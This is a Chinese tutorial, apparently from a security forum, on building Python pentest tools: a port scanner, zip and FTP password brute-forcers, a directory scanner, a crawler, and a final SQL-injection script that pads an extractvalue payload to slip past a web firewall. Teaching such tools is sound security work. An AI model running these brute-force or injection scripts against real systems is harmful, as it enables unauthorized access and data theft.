自己动手python打造渗透工具集

难易程度：★★★
阅读点：python;web安全;
文章作者：xiaoye
文章来源：i春秋
关键字：网络渗透技术

前言
python是门简单易学的语言，强大的第三方库让我们在编程中事半功倍，今天我们就来谈谈python在渗透测试中的应用，让我们自己动手打造自己的渗透工具集。

一、信息搜集--py端口扫描小脚本
端口扫描是渗透测试中常用的技术手段，发现敏感端口，尝试弱口令或者默认口令爆破也是常用的手段，之前自学python时候百度着写了个小脚本。
端口扫描小脚本：

[Python] 纯文本查看 复制代码

?

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34

#coding: utf-8 import socket import time    def scan(ip, port):     try:         socket.setdefaulttimeout(3)         s = socket.socket()         s.connect((ip, port))         return True     except:         return    def scanport():     print '作者：xiaoye'.decode('utf-8').encode('gbk')     print '--------------'     print 'blog: [url]http://blog.163.com/sy_butian/blog'[/url]     print '--------------'     ym = raw_input('请输入域名（只对未使用cdn的网站有效）：'.decode('utf-8').encode('gbk'))     ips = socket.gethostbyname(ym)     print 'ip: %s' % ips     portlist = [80,8080,3128,8081,9080,1080,21,23,443,69,22,25,110,7001,9090,3389,1521,1158,2100,1433]     starttime = time.time()     for port in portlist:                    res = scan(ips, port)         if res :             print 'this port:%s is on' % port     endtime = time.time()     print '本次扫描用了：%s秒'.decode('utf-8').encode('gbk') % (endtime-starttime)       if __name__ == '__main__':     scanport()

对于端口扫描技术，其实分很多种，通常是利用tcp协议的三次握手过程（从网上偷张图。。）
                                                            

放出的那个脚本，是利用了tcp connect() 即完成了tcp三次握手全连接，根据握手情况判断端口是否开放，这种方式比较准确，但是会在服务器留下大量连接痕迹。
当然，如果不想留下大量痕迹，我们可以在第三次握手过程，将ack确认号变成rst（释放连接），连接没有建立，自然不会有痕迹，但是这种方法需要root权限        
好了，先讲解一下我们的py端口扫描小脚本：
核心代码：

[Python] 纯文本查看 复制代码

?

1 2 3 4 5 6

portlist = [80,8080,3128,8081,9080,1080,21,23,443,69,22,25,110,7001,9090,3389,1521,1158,2100,1433] for port in portlist:                    res = scan(ips, port)         if res :             print 'this port:%s is on' % port

这段代码是定义了要扫描的端口，并且用for ..in .. 来进行遍历

[Python] 纯文本查看 复制代码

?

1 2 3

socket.setdefaulttimeout(3)         s = socket.socket()         s.connect((ip, port))

这段代码，是利用了socket套接字，建立tcp连接，socket.socket()就是s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)，用于tcp连接建立

二、实用爆破小脚本--压缩文件密码爆破&&ftp爆破
对于压缩文件，py有自己的处理模块zipfile，关于zipfile的实例用法，在violent python里有实例脚本，模仿书里写了个小脚本

[Python] 纯文本查看 复制代码

?

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24

#coding: utf-8 ''' z = zipfile.ZipFile('') , extractall z.extractall(pwd) ''' import zipfile import threading   def zipbp(zfile, pwd):         try:                 zfile.extractall(pwd=pwd)                 print 'password found : %s' % pwd         except:                 return def main():         zfile = zipfile.ZipFile('xx.zip')         pwdall = open('dict.txt')         for pwda in pwdall.readlines():                 pwd = pwda.strip('\n')                 t = threading.Thread(target=zipbp, args=(zfile, pwd))                 t.start()                 #t.join() if __name__ == '__main__':         main()

其实脚本很简单，核心就一个地方：

[Python] 纯文本查看 复制代码

?

1 2 3

zfile = zipfile.ZipFile('xx.zip') .............. zfile.extractall(pwd=pwd)

ZipFile是zipfile模块重要的一个类，zfile就是类的实例，而extractall(pwd)就是类里的方法，用于处理带有密码的压缩文件；当pwd正确时，压缩文件就打开成功。而此脚本就是利用了zipfile模块的类和方法，加载字典不断尝试pwd，直至返回正确的密码，爆破成功
python在爆破方面也很有优势，比如ftp，py也有ftplib模块来处理，一次ftp连接过程如下：

[Python] 纯文本查看 复制代码

?

1 2 3 4 5

ftp = ftplib.FTP()                 ftp.connect(host, 21, 9)                 ftp.login(user, pwd)                 ftp.retrlines('LIST')                 ftp.quit()

connect(ip, port, timeout)用于建立ftp连接；login(user,pwd)用于登陆ftp；retrlines()用于控制在服务器执行命令的结果的传输模式；quit()方法用于关闭ftp连接

是不是觉得和zipfile的套路很像？没错，你会写一个，就会写另外一个，就会写许许多多的爆破脚本，脚本我就不放出来了，大家自己动手去写一写（p.s:关于ftp爆破，在加载字典之前，请先尝试空密码，即ftp.login()，万一成功了呢。。）

三、目录探测--py低配版御剑
昨天写了个小脚本，用来探测目录，实现和御剑一样的效果，脚本是写好了，开了多线程，但是还算很慢。。之后我会再次修改：

[Python] 纯文本查看 复制代码

?

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35

#coding: utf-8 import sys import requests import threading   def savetxt(url):         with open('domain.txt', 'a') as f:                 url = url + '\n'                 f.write(url)   def geturl(url):         r = requests.get(url, timeout=1)         status_code = r.status_code         if status_code == 200:                 print url + ' 200 ok'                 savetxt(url)         #print url         #print status_code           syslen = len(sys.argv) #print syslen #res=[] url = raw_input('请输入要扫描目录的网站\n'.decode('utf-8').encode('gbk')) for i in range(1,syslen):         with open(sys.argv[i], 'r') as f:                 for fi in f.readlines():                         fi = fi.strip('\n')                         #print fi                         fi = url + '/' + fi                         #print fi                         t = threading.Thread(target=geturl, args=(fi,))                         t.start()                         t.join() #res = ''.join(res) #print res

能run起来，速度较慢。。
说一下主要思想吧，之后我改完再细讲。。：
加载1个或者多个字典，将字典中的内容与输入的url进行拼接得到完整url；
关于加载多个字典，代码实现如下：

[Python] 纯文本查看 复制代码

?

01 02 03 04 05 06 07 08 09 10

syslen = len(sys.argv) #print syslen #res=[] url = raw_input('请输入要扫描目录的网站\n'.decode('utf-8').encode('gbk')) for i in range(1,syslen):         with open(sys.argv[i], 'r') as f:                 for fi in f.readlines():                         fi = fi.strip('\n')                         #print fi                         fi = url + '/' + fi

利用sys.argv，我们输入python yujian.py dir.txt就加载dir.txt，输入dir.txt php.txt ，因为有for i in range(1,syslen):，syslen=3，range(1,3)返回[1,2]；
with open(sys.argv, 'r') as f:它就会自动加载输入的两个txt文件（sys.argv[1]、sys.argv[2]）；也就是说，我们输入几个文件，它就加载几个文件作为字典
当我们遇到php站点时，完全可以把御剑的字典拿过来，只加载php.txt dir.txt，这点和御剑是一样的：
                                                                                       

通过python的requests.get(url)的状态返回码status_code来对是否存在该url进行判断；
如果返回200就将该url打印出来，并且存进txt文本里
目前是这么个想法。。
-----------------------------------------------------------------------
更新：多线程加队列目录探测脚本 : https://github.com/xiaoyecent/scan_dir

有关于更多小脚本， 可以访问 https://github.com/xiaoyecent 目前添加了百度url采集、代理ip采集验证、爬虫、简单探测网段存活主机等小脚本，新手单纯交流学习，大牛勿喷

四、爬虫爬取整站连接
这个爬虫是慕课网上的蚂蚁老师讲的，感觉做的非常好，就改了一下，本来是用来爬取百度百科python1000条词条的（现在还是能爬的，要是之后目标更新了，就得制订新的爬虫策略了，大的框架不需要变），改成了爬取网站整站连接，扩展性还是很好的。
爬虫的基本构成，抓一张蚂蚁老师的图：
                                                                              

1.调度器：调度器用来对各个部分进行调度，如将url取出，送给下载器下载，将下载是页面送给解析器解析，解析出新的url及想要的数据等
2.url管理器：url管理器要维护两个set()（为啥用set()，因为set()自带去重功能），一个标识已抓取的url，一个标识待抓取的url，同时，url管理器还要有将解析器解析出来的新url放到待抓取的url里的方法等
3.下载器：实现最简单，抓取静态页面只需要r = requests.get，然后r.content，页面内容就存进内存了，当然，你存进数据库里也是可以的；但是同时也是扩展时的重点，比如某些页面需要登陆才能访问，这时候就得post传输账号密码或者加上已经登陆产生的cookie
4.解析器：BeautifulSoup或者正则或者采用binghe牛的pyquery来解析下载器下载来的页面数据
5.输出器：主要功能输出想得到的数据
调度器：
spider_main.py

[Python] 纯文本查看 复制代码

?

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37

#!/usr/bin/env python2 # -*- coding: UTF-8 -*-   from spider import url_manager, html_downloader, html_outputer, html_parser     class SpiderMain(object):       def __init__(self):         self.urls = url_manager.UrlManager()         self.downloader = html_downloader.HtmlDownloader()         self.parser = html_parser.HtmlParser()         self.outputer = html_outputer.HtmlOutputer()           def craw(self, root_url):                   self.urls.add_new_url(root_url)         while self.urls.has_new_url():             try :                 new_url = self.urls.get_new_url()                 print 'craw : %s' % new_url                 html_cont = self.downloader.download(new_url)                 new_urls, new_data = self.parser.parse(new_url, html_cont)                 self.urls.add_new_urls(new_urls)                 self.outputer.collect_data(new_data)               except:                 print 'craw failed'           self.outputer.output_html()   if __name__ == "__main__":     root_url = "自己想爬的网站，我爬了下爱编程，效果还行"     obj_spider = SpiderMain()     obj_spider.craw(root_url)

其中__init__是初始化，url_manager, html_downloader, html_outputer, html_parser是自己写的模块，各个模块里有各自的类和方法，通过初始化得到相应类的实例；
craw是调度器对各个模块的调度：

[Python] 纯文本查看 复制代码

?

1 2 3 4 5 6

new_url = self.urls.get_new_url()                 print 'craw : %s' % new_url                 html_cont = self.downloader.download(new_url)                 new_urls, new_data = self.parser.parse(new_url, html_cont)                 self.urls.add_new_urls(new_urls)                 self.outputer.collect_data(new_data)

分别对应着：
1.从待爬取url列表中取出一个url
2.将改url送往下载器下载，返回页面内容
3.将页面送往解析器解析，解析出新的url列表和想要的数据
4.调度url管理器，将新的url添加进带爬取的url列表
5.调度输出器输出数据

url管理器：
url_manager.py：

[Python] 纯文本查看 复制代码

?

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27

#!/usr/bin/env python2 # -*- coding: UTF-8 -*- class UrlManager(object):     def __init__(self):         self.new_urls = set()         self.old_urls = set()       def add_new_url(self, url):         if url is None:             return         if url not in self.new_urls and url not in self.old_urls:             self.new_urls.add(url)       def add_new_urls(self, urls):         if urls is None or len(urls) == 0:             return         for url in urls:             self.add_new_url(url)       def has_new_url(self):         return len(self.new_urls) != 0         def get_new_url(self):         new_url = self.new_urls.pop()         self.old_urls.add(new_url)         return new_url

url_manager模块里的类，及类的方法

下载器:
html_downloader.py
本来蚂蚁老师用的urllib，我给改了，改成requests：

[Python] 纯文本查看 复制代码

?

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15

#!/usr/bin/env python2 # -*- coding: UTF-8 -*- import urllib2 import requests     class HtmlDownloader(object):       def download(self, url):         if url is None:             return None         r = requests.get(url,timeout=3)         if r.status_code != 200:             return None         return r.content

html解析器：
html_parser.py
把抓取策略给改了，现在是解析所有链接，即a标签href的值

[Python] 纯文本查看 复制代码

?

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35

#!/usr/bin/env python2 # -*- coding: UTF-8 -*- import re import urlparse   from bs4 import BeautifulSoup     class HtmlParser(object):       def parse(self, page_url, html_cont):         if page_url is None or html_cont is None:             return           soup = BeautifulSoup(html_cont, 'html.parser', from_encoding='utf-8')         new_urls = self._get_new_urls(page_url, soup)         new_data = self._get_new_data(page_url, soup)         return new_urls, new_data       def _get_new_urls(self, page_url, soup):         new_urls = set()         links = soup.find_all('a')         for link in links:             new_url = link['href']             new_full_url = urlparse.urljoin(page_url, new_url)             new_urls.add(new_full_url)         return new_urls         def _get_new_data(self, page_url, soup):         res_data = {}           # url           return res_data

html_outputer.py
这个看情况，可要可不要，反正已经能打印出来了：

[Python] 纯文本查看 复制代码

?

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29

#!/usr/bin/env python2 # -*- coding: UTF-8 -*- class HtmlOutputer(object):       def __init__(self):         self.datas = []         def collect_data(self, data):         if data is None:             return         self.datas.append(data)       def output_html(self):         fout = open('output.html', 'w')         fout.write("<html>")         fout.write("<body>")         fout.write("<table>")           for data in self.datas:             fout.write("<tr>")             fout.write("<td>%s</td>" % data['url'])             #fout.write("<td>%s</td>" % data['title'].encode('utf-8'))             #fout.write("<td>%s</td>" % data['summary'].encode('utf-8'))             fout.write("</tr>")         fout.write("</table>")         fout.write("</body>")         fout.write("</html>")         fout.close()

运行效果：
                                                                                    

这款爬虫可扩展性挺好，之后大家可以扩展爬取自己想要的内容

当然要是只需要爬取某个页面的某些内容，完全不必要这么麻烦，一个小脚本就好了：
比如我要爬取某二级域名接口中的二级域名结果：

[Python] 纯文本查看 复制代码

?

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26

#coding: utf-8    import urllib, re    def getall(url):     page = urllib.urlopen(url).read()     return page    def ressubd(all):     a = re.compile(r'value="(.*?.com|.*?.cn|.*?.com.cn|.*?.org| )"><input')     subdomains = re.findall(a, all)     return (subdomains)    if __name__ == '__main__':     print '作者：深夜'.decode('utf-8').encode('gbk')     print '--------------'     print 'blog: [url]http://blog.163.com/sy_butian/blog'[/url]     print '--------------'     url = 'http://i.links.cn/subdomain/' + raw_input('请输入主域名：'.decode('utf-8').encode('gbk')) + '.html'     all = getall(url)     subd = ressubd(all)     sub = ''.join(subd)     s = sub.replace('http://', '\n')     print s     with open('url.txt', 'w') as f:         f.writelines(s)

小脚本用正则就好了，写的快

五、python在exp中的应用
之前海盗表哥写过过狗的一个php fuzz脚本
http://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=16134
表哥写的php版本的:

[PHP] 纯文本查看 复制代码

?

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21

<?php $i=10000; $url = 'http://192.168.1.121/sqlin.php'; for(;;){ $i++;    echo "$i\n";    $payload = 'id=-1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and 1='.str_repeat('3',$i); $ret = doPost($url,$payload);    if(!strpos($ret,'网站防火墙')){    echo "done!\n".strlen($payload)."\n".$ret; die(); }    }       function doPost($url,$data=''){ $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1 ); curl_setopt($ch, CURLOPT_HEADER, 0 ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $return = curl_exec ($ch);    curl_close ($ch); return $return; }

我在本地搭了个环境，然后用python也写了下，还是挺好写的：

[AppleScript] 纯文本查看 复制代码

?

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17

#coding: utf-8 import requests, os #i = 9990; url = 'http://localhost:8090/sqlin.php'   def dopost(url, data=''):         r = requests.post(url, data)         return r.content   for i in range(9990, 10000):         payload = {'id':'1 and 1=' + i * '3' + ' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))'}         #print payload         ret = dopost(url, payload)         ret = ''.join(ret)         if ret.find('网站防火墙') == -1:                 print "done\n" + "\n" + ret                 exit(0)

六、总结
      学生党还是很苦逼的，1.15号才考完试，不说了，写文章写了俩小时。。我去复习了，各位表哥有意见或者建议尽管提，文章哪里不对的话会改的